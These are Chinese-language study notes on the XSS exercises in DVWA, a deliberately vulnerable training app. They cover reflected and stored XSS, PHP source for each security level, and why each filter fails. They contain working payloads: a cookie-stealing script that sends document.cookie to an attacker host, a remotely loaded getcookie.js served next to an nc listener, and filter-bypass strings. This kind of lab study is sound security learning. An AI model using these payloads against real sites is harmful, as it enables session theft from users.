dvwa
xss
reflected
low
#src地址错误,然后执行onerror的内容
<img src=http://192.168.10.128/a.jpg οnerrοr=alert('xss4')>
<body οnlοad=alert('xss2')>
- 重定向语句
<script>window.location='http://www.163.com'</script>
- 获取cookie
<script>alert(document.cookie)</script>
- kali开启监听
root@kali: ~# nc -nvlp 80
dvwa中输入:
<script>new Image().src="http://kali的ip/a.php?output="+document.cookie;</script>
可以在kali主机上获得dvwa的cookie信息
- 加载远程的js脚本
- 远端服务器制作一个js脚本
root@kali:~# vim getcookie.js
root@kali:~# cat getcookie.js
var img =new Image();
img src = 'http://kali的ip:8888/cookie='+document.cookie;
root@kali:~#
- 搭建站点,把js脚本放到站点中,开启web服务
/etc/init.d/apache2 start
- 在kali主机上开启监听
root@kali: ~# nc -nvlp 80
- dvwa中输入
<script src="http://kali的ip/getcookie.js'output="></script>
- medium
黑名单:
$name = str_replace( '<script>', '', $_GET[ 'name']);
- 大小写
- 组合过滤条件
<scr<script>ipt>alert('sss')</script>
<sc<script>ript>alert(/xss/)</script>
- high
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效.
- impossible
Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。
stroed
将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本。
- low
源码
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
/*函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。*/
// Sanitize message input
$message = stripslashes($message); //删除字符串中的反斜杠。
$message = mysql_real_escape_string($message);
//对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)进行转义
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
name一栏前端有字数限制,可抓包进行修改
- medium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
//strip_tags()剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
name入手
如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。